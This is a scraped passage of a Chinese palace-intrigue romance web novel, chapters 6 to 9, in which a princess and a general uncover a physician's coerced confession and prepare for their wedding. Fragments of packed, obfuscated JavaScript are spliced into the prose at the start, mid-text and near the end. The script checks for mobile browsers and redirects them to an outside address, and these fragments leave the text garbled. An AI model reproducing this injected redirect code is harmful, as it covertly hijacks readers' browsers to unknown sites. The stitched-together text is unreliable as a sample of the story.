0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001488|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单是宫人日日清理浮萍的功劳,更是因为打通了底部,活水才能源源不断。” “所以要想清理太医院这潭死水,不仅要除掉那几个污糟,更要扫清积弊,引来活水。” 她一口气说完,才抬眼看他,却望见他垂着眼,目光专注地落在她的手背上,准确来说,是被他紧紧握着的那只手。 二人手心交握,与她那双养尊处优的柔荑不同,他的手掌宽大温热,带着一层薄薄的茧,一摸便知是边关风沙里磨砺出的痕迹。 她竟然真的用手指摩挲了下那层茧,酥酥麻麻的,顺着她的指尖传遍全身。 她正贪溺着这种有些异样却舒适的触感,他却慌忙撤开手,退后半步,脸上浮起一层莫名的红晕,目光快速扫了扫还在面前跪着的两个太医,他们慌忙垂下头,但那飘忽不定的眼神,早泄露了一切。 该死,竟忘了场合。 他清了清嗓子,才艰涩道出,“臣失礼,方才见殿下手凉才……” “哦,无妨。”未曾料到他反应如此大,萧璟心头竟有些悻悻。 手心的温热不再,取而代之的是一种空落落的感觉,她轻轻甩了甩,恢复冷静,“不知者无罪,二位太医不解内情,谨遵医者本分,本宫自然不会怪罪。只是在一切查明之前,还得委屈二位「暂居」陆府,以免走漏风声,打草惊蛇。” 两人沉默着出了柴房,一前一后,隔着刚好的距离,她走一步,他跟一步,连步子大小都差不多。 萧璟攥住手心,余光瞥向身后,几次想开口问他为何甩开她的手,可话到嘴边却成了:“你…你把赵元仁关哪了?” “在那边的庑房。”他慌忙答道。 她转过身,带着些不悦,幽怨道:“那将军跟在后面是要本宫来带路?这是陆府,不是公主府。” “是!臣这就给殿下带路。”他一个大跨步,便到了萧璟身前。 她这才发现,原来他一步能迈如此远,那方才跟在她身后亦步亦趋的是为何? 正想着,已到了一间偏僻的庑房门口,房间朝向不好,能见日头的时候不多,平日只用来堆放一些不打紧的杂物。 木门被缓缓推开,她深吸一口气,压下心头的困惑,锐利的目光比外面的亮光先一步找到了隐在暗处的那个身影。 他正靠在角落里休息,背挺得笔直,尽管光线昏暗,但他与周遭的杂物还是格格不入,泾渭分明。 已是晡时,阳光终于斜斜地透了进来,照亮了这个角落,也落在赵元仁的脸上,他没有丝毫慌乱,甚至可以说是坦然。 他慢慢睁开眼,见是萧璟前来,恭恭敬敬地行礼叩拜,声音毫无起伏,每一个字都极为平稳:“微臣赵元仁,参见长公主殿下。” “赵大人,打开天窗说亮话,本宫也累了,不想同你绕弯子。”萧璟莲步轻移,避开四处散落的杂物,行至赵元仁面前,冷声道,“说些本宫想听的。” 赵元仁轻笑一声,抬起头,目光坚定:“昨夜,是微臣在脉枕中填了「安息散」,此药是微臣在西域假死药「龟息散」的基础上改良的,有宁神静气的功效,不过副作用是用药之人的脉息会在一炷香内细弱无力,难以探查,可人却不会察觉到丝毫不适。” “呵!你倒是个识抬举的。”见他这般坦诚,萧璟反而不急着发作,她不紧不慢地在赵元仁面前来回踱步,轻声念着,“赵元仁,元仁,取的可是「元心不改,仁义济世」之意?” 最后几个字她刻意将尾音微微上扬,就像羽毛轻飘飘地拂过,下一瞬却陡然转厉,“你对得起自己的名字吗?对得起自己这一身医术吗?既有这般改良秘药的能力,不想着济世救民,反用来诬陷忠良,这就是你的「元仁」吗?” 一句又一句的诘问,砸得赵元仁浑身颤抖,他死死咬着牙,努力绷直的背摇摇欲坠:“殿下,臣自知死罪,愿以死谢罪,只求殿下高抬贵手,勿要迁怒那两个小太医,他们什么都不知道。” “臣已经铸成大错,难以回头,但他们还有未来,还可以坚守他们的「元仁」。” “难以回头?” 萧璟将这几个字一字一顿念了好几遍,才问道,“赵元仁,你连死都敢面对,却不敢说出真相,你到底在害怕什么?” 7. 第 7 章 庑房内,寂若死灰。 赵元仁的身子仍旧不受控制地颤抖着,几度欲言又止,却终究是把要出口的话咽了回去,重新抬起头:“殿下,此事是臣一人所为,这便是真相。” 说罢,他重重叩首,那一声闷响就好像是他给自己敲的丧钟。 “好!你真是好得很!”萧璟气得跺脚,斥道,“宁肯自己死也不供出幕后指使,本宫是该骂你懦弱不堪,还是该夸你忠心耿耿啊?” 任她说什么,赵元仁都还是那副油盐不进的模样,她纵然生气,可又实在拿他没办法。 连死都不怕的人,即便是她现下拿把刀架在他脖子上,恐怕他眉头都不会皱一下。 等等,刀架在脖子上?难道说,梦里的她和眼前的赵元仁一样,都面对着比死更可怕的东西,所以才会选择以死解脱? 她正陷在联想中,身侧沉默了许久的陆惊澜突然开口,“赵大人,你觉得你死了一切就结束了吗?” 两人的目光瞬间聚在陆惊澜身上,他继续道,“你死之后,太医院仍旧是一团污秽。你说那两个小太医还有未来,还能坚守「元仁」,可连你这个颇有盛名的「元仁」,都坠入深渊万劫不复,你让毫无根基的他们能如何?” “你的死,不是保护他们,而是助长幕后黑手的气焰,让更多心怀仁义的良医,死无葬身之地。” “你确定,这就是你要的真相吗?” 他的叩问,就像一波接着一波的潮水,将赵元仁的心防彻底击溃。 那些压抑许久的情绪终于有了出口,他失声痛哭,连连摇头,喃喃念道:“微臣糊涂!想保一人,却害了更多的人,真是糊涂至极!” 萧璟和陆惊澜对视一眼,谁也不好再说什么,只能静静等着赵元仁开口。 泪尚未完全止住,他便忽然开口,声音很轻还带着抽泣,却足够清晰:“是章迎,章迎逼我这么做的,他、他手里有我的把柄。” 还不等两人询问,他便抹了把脸,又将那些还没出口的哭声强行压了回去,主动解释道,“十八年前,淑妃娘娘之死,臣…臣难辞其咎。” “淑妃娘娘?”萧璟被这个突如其来的消息惊得愣在原地,声音都有些变了调,“你说的是四哥的母妃,淑妃娘娘?她不是难产而亡的吗?” “生产之日,淑妃娘娘的确有些难产,但、但若非微臣那碗助产汤,娘娘不至于血崩而亡。” 赵元仁的声音重新带上哭腔,甚至比之前更为凄厉,他断续道,“娘娘孕中忧思,肝气郁结,微臣本想用当归补血蓄力,以助娘娘生产,哪知…哪知对娘娘体质把握不准,当归的用量重了些,才致使娘娘血不归经,难产而亡,连四殿下亦生来体弱。” “先帝仁厚,并未过度追究,只以为娘娘是普通难产,可章迎偶然间翻看脉案,发现了微臣用药过失,多年来以此要挟,逼臣让出院判之位,用臣研制的药方邀宠献媚,笼络圣心。此番,亦是他授意臣诬陷将军身患隐疾,破坏殿下的婚事。” 他抬起头,涕泗横流,眼中满是愧疚和痛苦,哽咽道,“臣自知罪孽深重,早想一死了之,可每每见到宁王殿下,都自责不已,想为其悉心调理,略作弥补,可错误已经酿成,不过是自欺欺人。” 这个深埋在赵元仁心底十八年的秘密,和他此刻蜷缩的角落一样,终于得见天光。 萧璟和陆惊澜久久无言,一时之间,房内只剩此起彼伏的抽气声。 “必须马上找到章迎。”萧璟努力让自己的呼吸稳下来,她望向陆惊澜,两人同时点了点头。 正打算离开时,一道清冷却难掩焦急的声音先一步从门外传来。 “不必去了,章迎已经死了。” 两人蓦然顿住,来人正是萧煜,他来得匆忙,向来苍白的脸竟急得微红,他缓了口气,才继续道,“我去太医院查记档时,便听说章迎一早就不见人影,身为院判,怎可玩忽职守?” “我即刻动身去了章府,管家说章迎昨夜在书房闭关研制新方,嘱咐了不许人打扰,可我推门而入,撞见的却是他自缢而亡的尸体!” “以及,这封遗书。” 他从袖中掏出一封再简易不过的信件,字迹潦草,不过寥寥数语,只言章迎的远房侄子曾在陆惊澜麾下效力,因当值喝酒被罚杖责三十,怀恨在心,伺机报复,眼见栽赃不成,内心惶恐不安,便自缢谢罪。 “这分明是杀人灭口!”萧璟看着那一纸荒唐,荒谬得想笑,“谁会为了一个八竿子打不着的远房侄子去冒掉脑袋的风险,更何况既然有心报复,又怎会如此仓促地自缢谢罪,根本是错漏百出!” “正是。”萧煜点了点头,呼吸逐渐平稳下来,“章迎死得蹊跷,应当是背后之人察觉了我们的行动,先一步灭口,来个死无对证。” 陆惊澜接过那张纸,扫了一眼,冷笑道:“也难为他们了,还精心准备了这封「遗书」,这个谎,圆得不容易啊。” “不行,用一个章迎就想把这事糊弄过去,休想!” 萧璟愤愤不平,又转向赵元仁,问道,“赵大人,章迎背后之人是谁?” 赵元仁同样对章迎的死无比震惊,呆在原地,久久没回过神来,他慌忙解释:“殿下,微臣不知,多年来一直是章迎以…以旧案要挟臣,并未有其他人。” 他一边说,一边忍不住偷偷觑了一眼萧煜的神色,脸上的愧疚藏都藏不住。 萧煜忽地笑了一声,笑声里有几分自嘲,几分怅惘,但更多的是释然,他的声音一如往常的温和,只是比平日多了些轻颤:“赵大人,你何需自责?” “身为医者,你已竭尽全力,问心无愧。更何况你我心知肚明,母妃之死,皆是我一人之过。” “宁王殿下!”赵元仁重重一磕头,打断他的话。 萧煜咳了两声,眼眶瞬间泛红,他别过脸,不再开口。 “四哥?”萧璟上前,轻轻扶住萧煜的手臂,又温柔地替他拍了拍背,“淑妃娘娘在天之灵,一定希望你好好的。” 在她的印象里,四哥面上永远温润如水,待人和善,但实则内心和谁都隔着一段距离,更像是高山之巅的冰雪,遥不可及。他从来不过生辰,更不爱热闹,深居简出,人人都道宁王殿下超然物外,逍遥自在。 可她知道,四哥是害怕,他怕沐浴温暖的阳光,怕感受和煦的春风,因为那会将他这片冰雪一点一点消融。 他看起来是最不受世俗之情所扰的,实则是陷得最深的。 屋内的气氛凝重起来,章迎这条线断了,又牵扯出十八年前淑妃之死的秘辛,萧璟忽然觉得自己又身处那条蜿蜒曲折的小巷中,她努力朝着光亮处前行,却只能找到一个又一个未知的幽深角落,兜兜转转,要么停在原地,要么闯进了死胡同。 就在此时,一句响亮的通传声破门而入:“二位殿下,陆将军,晋王殿下来了,请几位速去正厅。” 三人迅速抬起头,交换了一个惊愕的眼神,无言间,他们默契地理了理仪表,平复心绪,齐声应道:“即刻就来。” 萧璟从未想过,自己会在短短一日间,来这个令人窒息的正厅两回,面前的人都不带换的。 只是昨夜这两人一个面色阴沉,不住地摩挲那枚墨玉扳指,一个老泪纵横,哭嚎不已,现下倒也算是……有说有笑? 萧启坐在主位,手中端着一盏热茶,不紧不慢地啜了几口,嘴角竟还带着些笑意,偶尔回应几句陆恒。 陆恒则在他下首,满脸陪笑。 萧璟的目光落在那套茶盏上,釉色清淡隽永,当得起「雨过天青」几个字,一眼便知是汝窑天青釉的上佳珍品,陆老将军这是把压箱底的宝贝都拿出来招待了? 还不等她开口,大哥便放下茶盏,温声道:“玩够了?” 她登时感觉全身的血液凝固了一瞬,才重新开始流动,只是身上突然冷了许多,让她不禁一颤。 头皮还在发麻,萧璟定了定神,开口道:“大哥,我们不是玩,我们……” “你是不是要告诉大哥,你们是在查案,查到了章迎,查到了柳家?”萧启直接打断了她,笑意依然挂着,但却让人不寒而栗。 厅内静得可怕,无人敢接话。 萧璟垂着头,吸了好几口气,正要再开口时,陆惊澜的声音毫无征兆地响起:“晋王殿下,查案一事都是臣的主意,二位殿下不过古道热肠,出手相助而已。” 余光间,她瞥见他竟一脸的坦然自若,毫无惧色,嘴角那抹淡淡的笑意,似乎还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆恒送客归来,额上依然冷汗涔涔,他拭了拭,低声道:“晋王殿下今日颇有当年风采啊,老臣还记得,当年户部亏空一案,殿下在金銮殿上,也是这般一款一款罪状弹劾,一条一条新政罗列,是何等的龙章凤姿。唉,只是先帝驾崩后,就甚少见他如此锋芒毕露了。” 萧璟怎会不知? 传位诏书宣读那一日,她跪在一旁,还沉浸在父皇崩逝的悲痛中,那句「传位六皇子萧宸」宛若一道惊雷,劈碎了每个人的预期。 泪眼朦胧间,她看见大哥在众人惊骇的目光中,第一个俯首跪倒,山呼万岁,那张平静到近乎绝望的侧脸,曾在她脑海中印了很久很久,久到她以为大哥真的放下了。 可梦里那张狰狞的面目,那双沾满鲜血的靴子,都在无声提醒她:或许,大哥根本没有放下过。 夜幕低垂,几人各自打道回府,虽是翻墙进来的,但萧璟还是昂首阔步从正门走出,只是脚下有多虚只有自己清楚。 陆惊澜坚持要送她回来,她本要婉拒,可腿不争气地在上车时软了一下,险些跌倒,幸好他在一旁及时扶了一把。 然后,他就在她的马车里了。 车轮碾过青石板路,发出“咯吱咯吱”的声响,她静静地听着,本不想开口,忽地想起什么,凶巴巴地问道:“陆惊澜,你方才笑什么笑?你是嫌大哥火气不够大,再添一道柴是吗?” 他丝毫不紧张,又绽开一个浅笑:“因为殿下以前夸臣,笑起来好看。” “本宫何时说过?” “八岁那年,殿下把臣推进荷花池,臣吓哭了,殿下说「陆惊澜,别哭了,你笑起来好看」。” “我……”萧璟瞬间语塞,脸涨得通红,却反驳不出半个字。 因为这混账事确实是她干的,而且她当时只是信口胡诌,只想着哄得他止了哭,别去告状便好,谁知道他当了真。 “惊澜,其实……”她深深屏了口气,斟酌着用词,正打算坦白从宽时,又对上他那张笑得傻里傻气的脸,突然鬼使神差地改了口,“其实你笑起来真的很好看!” 他的笑意更深,语气是压抑不住的雀跃:“臣知道,殿下说的话,臣一直都记得。” 萧璟望着他那双清澈又明亮的眸子,不知不觉就溺了进去。 他的眼睛怎么会这么亮呢,好像藏了星星在里面,可她看啊看啊,却找不到星星,只找到她的倒影。 8. 第 8 章 五月榴花照眼明。【1】 婚期将至,公主府院角的那棵石榴树开得甚是应景。油亮的叶,灼眼的花,还有掩在繁茂枝叶间、青涩却圆润的点点初果,都透着一股烂漫的生机。 萧璟正倚在小榻边看得出神,一道温柔的嗓音从身后传来:“开从百花后,占断群芳色,这树石榴花开得很像你,耀眼夺目的。”【2】 她带着盈盈笑意转回身:“大嫂来了,怎么都不叫她们通传一声?” “是我不想给他们添麻烦。”晋王妃苏婉卿一袭缃色宫装,发间并未过多装饰,只一支温润的青玉簪,正合她婉约内敛的性子。 “你看看,为着你这桩婚事,府里都快忙翻天了,殿下……你大哥他这几日都在和礼部商议大婚流程,倒比他自己大婚时还上心。”苏婉卿自然地在萧璟身侧坐下,牵住她的手,声音轻了些,“妹妹真就认定陆将军了?” 萧璟被问得猝不及防,慌忙躲开她的目光,小声道:“我自己求来的,自然是认定了,大嫂怎么忽然问起这个?” 苏婉卿笑了笑,将她拉近了些,淡淡的玉兰香伴着温热的气息拂过她耳畔:“只是感叹,我们五妹这般绝色,便宜那小子了!” 她又看了看窗外那棵火红的石榴树,目光转回萧璟泛红的脸上,“这花开得兆头极好,华灼灼而子初成,不知是不是明年……府里要添个小世子或小县主了?” “大嫂!”萧璟的脸整个红透,嗔怪道,“你和大哥恩爱情笃,又有穆之,便来打趣我?” “好了好了,说正事。”苏婉卿收起笑意,声音平稳了许多:“今日尚服局将你大婚的礼服和凤冠一并送来了,你大哥特意嘱咐过,要我亲眼看着你试过才好。” 话音刚落,芷萝便将那袭华服和凤冠呈了上来。 大红的缠枝宝相花纹织金锦上,用金线绣着九对展翅欲飞的翟鸟,袖边、领口都缀着鸾凤纹样,寓意平安祥瑞。最别出心裁的,当属裙裾边那一围错落有致的东珠,颗颗莹润,步步生光。那顶金丝累凤点翠冠则嵌满了珍珠和宝石,流光溢彩。 萧璟一边试,一边笑着回忆:“大嫂可还记得,四年前你戴的那顶凤冠也是这般华美,我当时看着可羡慕了。” 苏婉卿为她整理衣襟的手顿了一瞬,才道:“是啊,那顶凤冠很漂亮。” 她的声音变得更轻,宛如一声叹息,“就是太重了。” “确实…确实重。”凤冠的重量压下来的那一刻,萧璟的声音都沉了些,她眼睛瞟向上方镶着的珠翠,弱弱地问道,“这个要戴多久?” 苏婉卿无奈地笑笑,解释道:“大婚在黄昏时分,届时你从宫中旧居含章殿启程,驸马至宫门口迎亲,仪仗至公主府后,再行拜堂、合卺、结发全套礼仪,方可礼成洞房。” “礼成之前,都得戴着。” “什么?”萧璟惊呼,“那岂不是要好几个时辰?” 她不禁重重叹了口气,成个亲竟如此折磨,古人还把「洞房花烛夜」列为人生四喜,当真难以理解,喜在哪里,根本是受刑嘛。 列祖列宗在上,小璟都是为了救咱们萧家才成亲的,你们可要保佑我化煞顺利,不然我不是白吃这个苦头了? 她正在心里无声祈祷着,一句上扬又响亮的喊声传来:“五妹!” “三哥,我在这儿。” 脖子被压得酸软无力,几个侍女还簇拥在侧,她只能虚虚地应了一声。 “哟!五妹你这头上得价值连城了吧?”萧烁耳朵倒是挺灵的,循着声音找来了,他啧啧了两声,“真是难为你了,我还记得你去岁及笄礼的时候,那支海棠步摇飞了老远,差点儿甩在李尚书那个老古板脸上。” “当时李尚书说什么来着,”他捧腹大笑,刻意压低声音模仿道,“成何体统,成何体统……” 身旁的几个侍女忍不住低声偷笑。 实在是现下动弹不得,萧璟只能恨恨地咬了咬牙,威胁道:“三哥你再多说一个字,明年你行冠礼的时候,我保证步摇一定飞你脸上。” “你敢?” 萧烁瞪了瞪眼,但他知道一点威慑力都没有,因为萧璟真的敢。 “行了,别拌嘴了。”苏婉卿终于看不下去了,出声打断:“你们俩啊,一个马上大婚,一个马上及冠,怎么还跟孩子似的?” 她继续为萧璟调着凤首的朝向,问道,“不过三弟,你这般风风火火地赶来,可是有什么大事?” “哼!”还不等他开口,萧璟先冷笑一声,埋怨道,“三哥能有什么大事,让他帮忙查个太医,结果几天不见人影,准又是在哪里被美人绊住脚了。” “我……”他被噎得说不出话,支支吾吾地挤出几个字,“是真有事。” 苏婉卿掩面浅笑,柔声细语道:“三弟你年纪也不小了,也该打算打算,别整日只顾玩乐。” “急什么?”萧烁往雕花木椅上一躺,声音也懒下来,“论长幼次序,也该二哥先。” 他嘴角扬起一抹狡黠的笑,“毕竟,也不是人人都像五妹这么「恨嫁」的。” “萧烁!”萧璟顾不上头顶的凤冠,猛地站起身来,冠子摇摇欲坠,若非芷萝眼疾手快,只怕一座城池登时就要化为乌有了。 “我错了,我口不择言!”萧烁认怂一向快,他立马从袖中掏出一个叮当作响的小物件,“这个送你,就当我赔礼道歉了。” 萧璟接过一看,是个雕得栩栩如生的金麒麟坠子,内嵌小铃,工艺精巧。 “算你识相。”她满意地收下,随手便系在腰间,转身回妆台,每走一步,那坠子便发出清脆的一响,甚是好听。 萧烁舒了口气,自顾自地倒了盏茶,道:“我刚从宫里回来,听闻陆惊澜这几日从早到晚都在重华殿熟悉大婚事宜,负责教授礼仪的,好巧不巧,正是礼部那个老古板,李守德。” “他?那惊澜可有得受了。”萧璟笑得眉眼弯弯,“李尚书那个人,死板得很。我还记得筹备及笄礼时,他每条规矩都得一字不落地讲上三遍,而且每讲一遍,都得问一句「殿下可明白」,若是答得慢些,他便要从头再讲一遍。” “行礼更是,但凡有一丝一毫偏差,便要重新来过,这般折腾下来一天,骨头都要散架了。” 虽然在抱怨,可她脸上的笑意却越发明媚。 陆惊澜啊陆惊澜,咱俩还没「同甘」呢,倒是先「共苦」了。 “欸不如咱们去看看!” 苏婉卿轻轻按住她,道:“不合规矩,婚前这几日,不宜相见。”她顿了顿,觑着萧璟有些失落的神色,声音放轻,“不过,若是你进宫探望陛下,那便很合规矩。” 萧璟才垂下的嘴角倏地又翘了起来,她冲着苏婉卿俏皮地眨了下眼,两人相视一笑。 紫阳殿暖阁,萧宸正埋首于奏折间,一阵轻巧的脚步声,伴着清脆的铃响,蓦地闯入殿内,他头都没抬,淡淡笑道,“五姐今日又来求什么?” 话刚落下,萧璟已移至案边,她俯身托腮,目光落在面前那份摊开的奏折上,道:“汛期将至,这段时日加固河道堤防的折子怕是不少吧?” “嗯。”萧宸搁下朱笔,抬头看她。 那是一双和她极为相似的眉眼,但从来不会有人把他们认错,因为一个炽烈如火,一个沉静似水。 明明水火不容,可他们却一体双生,共享过生命最初的十个月。 她望着他眉间怎么都舒展不开的倦意,忽然就觉得,那顶凤冠也没多重。 “怎么不说话?”萧宸惑然,问道,“再过几日便要大婚了,你怎么一副忧心忡忡的模样?可是前番太医那事闹的?” “不是,”她摇摇头,迅速漾开笑容,“只是在想我的凤冠,得再嵌几颗珍珠才好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001490|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧宸揉了揉额角,轻笑道:“好,新贡的那几斛南海珍珠,都给你。” “嗯,都给我。” 他又拿起笔,陷回一重重的奏折堆里,温声道:“重华殿后那株广玉兰开了,香气清甜,你应当会喜欢。” 她直起身,不动声色地捋了捋衣袖,清亮的嗓音伴着腰间的响儿越飘越远:“我喜欢的是它高大的树干,看得远。” 确实看得远。 树身约高两丈,已是亭亭如盖,萧璟寻了个结实的枝桠坐下,恰好能透过重华殿的西窗,将殿内的情景,一览无余。 那扇方方正正的窗,正正好框着殿内的两个身影——一个负手挺立,光看背影都知道是个老古板,一个满脸都写着幽怨,在折腰、下拜、起身几个动作间来回,像无聊的木偶戏。 不过她看得饶有兴致。 又一个起身,他蓦然抬首,视线竟明晃晃地撞上她的,她慌忙收起笑,又比了个“嘘”,可想上扬的嘴角怎么都压不住。 他也一样。 可下一瞬,他就笑不出来了。 “将军,行礼时需凝神屏气,方显尊敬,怎可笑得如此轻浮?” “请将军重做一遍。” 他倒没恼,敛起笑,正对着西窗,将方才那个空首礼规规矩矩地行了一遍——拱手至地,俯身深躬,额触手背,从跪地到起身,始终肩背端平,面容肃穆,挑不出一点错处。 学得倒是挺快的。 她暗暗感叹,眼前一点一点浮现的,却是很多年前那个小小的笨拙身影。 “喂陆惊澜,你进宫都两个月了,怎么行个天揖礼都手忙脚乱的?” “边关来的傻小子,哪懂什么礼?” 御花园的假山后,七岁的萧璟追着一只蝴蝶,闯进了这片吵嚷间。 她凤眸微扬,透过假山的小石洞,一眼便窥见了那双哭得通红的清目。 “礼者,敬人也。尔等学礼,竟用来欺辱他人,那这礼,还不如不学。”她背着手从假山后大步走出,清凌凌的嗓音初露威仪,面上毫无笑意。 若非额角还有方才扑蝶的细汗,脸蛋还透着淡淡的红晕,萧璟觉得此刻的自己一定很像个老太傅。 “殿、殿下。”几个世家子弟瞬间慌了神,七零八落地行了个礼,垂首沉默。 陆惊澜愣在原地,忘了行礼,眼泪也呆呆地挂着,忘了继续哭。 她无奈地撇撇嘴,拉着他便走,丢下一句听起来很有威胁的话:“下次再让本公主看到你们欺负人,就罚你们抄《礼记》!” 她拉着他走了很远,至一处无人的偏殿才停下,转身问他:“不懂不会学吗?哭什么?” 他不好意思地低下头,嗫嚅着:“在学……还没学会。” “笨死了!” 她深深吸了口气,张望了好几遍,确认四下无人,才道,“看好了,我只教一遍。” “天揖礼要双手拱手,这样——” “啊呀不是,男子要用左手压右手,对就这样。” 萧璟站得挺直,面对着陆惊澜,拱手高推,深深俯身,嘴里还念叨着,“记得,手不过眉,肘不后张,身不动摇,方显沉稳。” 陆惊澜依言照做,跟着她的动作,念着她说的要点,一板一眼地学了起来,终于行出了人生第一个标标准准的天揖礼。 “这不是学得挺快的嘛。”许是欣慰,她的尾音不自觉地微微上扬。 他的脸却更红了,声音细得快听不到:“是殿下教得好。” 她得意地笑笑:“那是自然,名师出高徒。” “那…殿下再教教臣别的?” 金铃响,风渐起,吹散了回忆,送来了丝丝缕缕清雅的香气,在她鼻尖萦绕不去。 萧璟悠闲地攀着花枝,轻嗅一口,嘴角的笑更深了。 广玉兰,果然香气清甜。 9. 第 9 章 陆惊澜将大婚的全套礼仪完完整整地、不出差错地最后做了一遍。 李守德捋着花白的胡须,满意极了:“将军,至此老臣已将大婚的全部礼仪教授完毕。将军天资聪颖,一点就透,老臣甚慰。” 他说着,竟端端正正地拱手行一揖礼,道,“老臣自知有些严苛,这几日有劳将军不厌其烦听我唠叨了。只是礼法一事,事关皇室体面,更干系公主和将军的姻缘美满,是一丝一毫也错不得。” 陆惊澜没想到李守德还有这么一出,赶忙回礼,道:“李尚书言重了,惊澜作为晚辈,能得尚书大人亲自指点数日,是惊澜之幸。” 李守德朗声笑道:“孺子可教也,老臣在礼部为官数十载,主持过的皇室婚姻大小也有十来桩,婚仪流程早就烂熟于心,可独独公主殿下这一桩,让老臣挂心不已。” “毕竟这当街强娶,大梁开国百年也是头一回,不瞒将军,老臣接到这差事时,只觉得是烫手山芋啊。” “可这几日观将军修习大婚礼程甚为用心,想来并无外界传闻那般?” 陆惊澜嘴角上翘,笑意盈盈:“强娶一事,实乃误会。臣心意早定,原本打算回京面圣的第一件事,便是向陛下求娶公主。” “谁知道,被殿下抢先一步了。” “哈哈哈,原来如此,竟是两个人心意往一处去了。”李守德开怀大笑,“殿下那孩子虽有些小脾气,但心地是极好的,生在皇家,能有一桩两情相悦的姻缘已是不易,万望将军珍重。” “惊澜铭记于心。” 他的话掷地有声,说罢,他抬头向西窗望去,可广玉兰树上,哪还有那抹倩影的存在。 她什么时候走的? 他的心蓦地空了一下,喉间泛起一阵苦涩,他咽了咽,努力宽慰自己:别怕陆惊澜,她还在,她还活着。 只是为什么,每次我为你做到最好的时候,你却不见了。 萧璟心里一直记着大嫂的叮嘱,婚前不宜相见,只远远地看上一眼便好,她已经贪心不足,看了很多很多眼,为着不影响这桩关系家族命运的婚事,她果断选择在陆惊澜最后一遍排演全套礼仪时,轻轻巧巧地离开了。 时辰尚早,回公主府前,她心里还有个疑问待解,便径直往皇城东南角的司天台去了。 这边僻静的很,毗邻太医院,远远地便能嗅到一股苦涩的药香。 她眉头微蹙,脚下不禁加快了些,身后忽然传来清脆的一声:“是殿下吗?您怎么一个人到这儿来了?” 她扭头一看,一张熟悉的笑脸迎了上来,全然不似那日柴房里哭得哆哆嗦嗦的模样,她回以浅笑,“小顾太医,你笑得满面春风的,要往哪里去?” 那小太医动作轻快,三步并作两步到了她面前,行了个礼,“殿下万安,微臣是奉命去晋王府送安神香的。” “昨日晋王府管事来传话,这几日晋王殿下操持婚仪,又要辅政,常忙到下半夜还睡不安稳,所以特地命太医院调配些安神香送去。” “这不,赵大人一早就新调了「鹅梨帐中香」,安神助眠最好,命我赶紧送去。” 萧璟听了这话,心里顿时不是滋味。 那些有关大哥的噩梦,那日他步步紧逼的威压,确实令她心生畏惧,可一想到大哥做这些都是为了她能顺利完婚,她实在怨不起来,也怕不起来。 大哥并非残酷无情,不辨是非。涉事的几个太医,除了章迎死有余辜,受胁迫的赵元仁,不知情的顾知微等人,都未受牵连,赵元仁甚至得了重用,新升了右院判,协助新任院判共理医政。 她点了点头,声音不像之前那般欢快,“那你快些送去吧,别耽搁了。” 目送着那个轻松离去的背影,萧璟的心却越发沉了,她深吸一口气,才继续向司天台走去。 司天台的静室内,老监正徐危埋头专注在星图和古籍中,一见萧璟前来,连忙起身:“殿下怎么亲自来了?” 说着他压低声音,问道,“可是近日又有何新的征兆?” “没有。”她摆摆手,“无非还是那些梦,翻来覆去的,大婚在即,徐大人可看出什么转机?” “回禀殿下,臣这几日细观天象,萧氏一族气运中确有一股清气贯入,只是目前力量尚微,不足以与阴煞抗衡。” 她的心略略放下了些,总归算是个好的开始,至少证明,人找对了。 但随之而来的,那个疑问更重了。 她挣扎着开口,语气迟疑,“徐大人,本宫还有一事不明,先前你只说要将人引入皇室,以身为镇,如今这化煞之人是引来了,那这下一步?” 徐危年过半百,脸上写尽沧桑阅历,此刻眼神却茫然如稚子。 “殿下何意?” 萧璟无奈一咬牙,索性说得明白些:“本宫的意思是,要化煞解劫,是否…是否需要和驸马圆房?” 徐危猛地咳嗽起来,慌忙跪地垂首,声音都在抖:“这…这天意之事,下官岂敢揣测?” 萧璟一听顿时火大:“你不敢揣测?你不就是干这个的吗?” 徐危吓得满头大汗,不停用衣袖擦着,内心疯狂盘算起来,这但凡有一个字说得不对,他就能提前告老还乡,荣归故里了。 不过,归的大概率是自家祖坟。 他颤颤巍巍地回道:“殿下,依臣愚见,化煞之事本就逆天而行,未免再触怒上天,后面的事还是要顺承天意而来。” “天意许,即可,天意不许,则不可。” “那本宫如何探知天意?” 徐危深吸一口气,让自己的声音尽可能平稳,也尽可能有信服力:“天意难知,但真心可鉴。殿下不必急于一时,待到两心相知,情深互许,一切自然水到渠成。” 说罢他跪伏于地,久久不敢抬头。 萧璟的耳根还在微微发热,内心嘀咕着:真心?听起来是比天意更虚无缥缈的东西,但按徐危所言,她想彻底化解煞气,便绕不开这两个字。 可是,要和陆惊澜两心相知,情深互许,她真的能做到吗? 瞧着徐危瑟缩如鹌鹑的模样,她知道逼问他是无济于事了,于是语气和缓下来,道,“徐大人请起,今日是本宫急了些,化煞之事往后还需您多费心,至于这个……” 徐危一抬头,正见到萧璟不紧不慢地从袖中掏出一封奏疏,脸色霎时白了。 “老臣徐危,年事已高,恐难当钦天监监正一职,恳请告老还乡……” 萧璟眉眼弯弯,声音轻快动听,徐危却两眼一黑,几乎瘫软。 “若不是本宫今日在陛下案上看到这封奏疏,及时扣了下来,徐大人是不是就打算不告而别,留本宫一人收拾这烂摊子?” “老臣不敢,”徐危汗如雨下,“臣只是害怕,逆天而为,稍有不慎便遭天意反噬,这般记载在古籍里比比皆是,臣、臣实在惶恐。” “惶恐?”萧璟定定地看着他的眼睛,“徐大人,你记住了,我们不是逆天而行,是救国救民,即便死了,也是以身殉道,你给本宫拿出点骨气来,别这么畏畏缩缩的!” 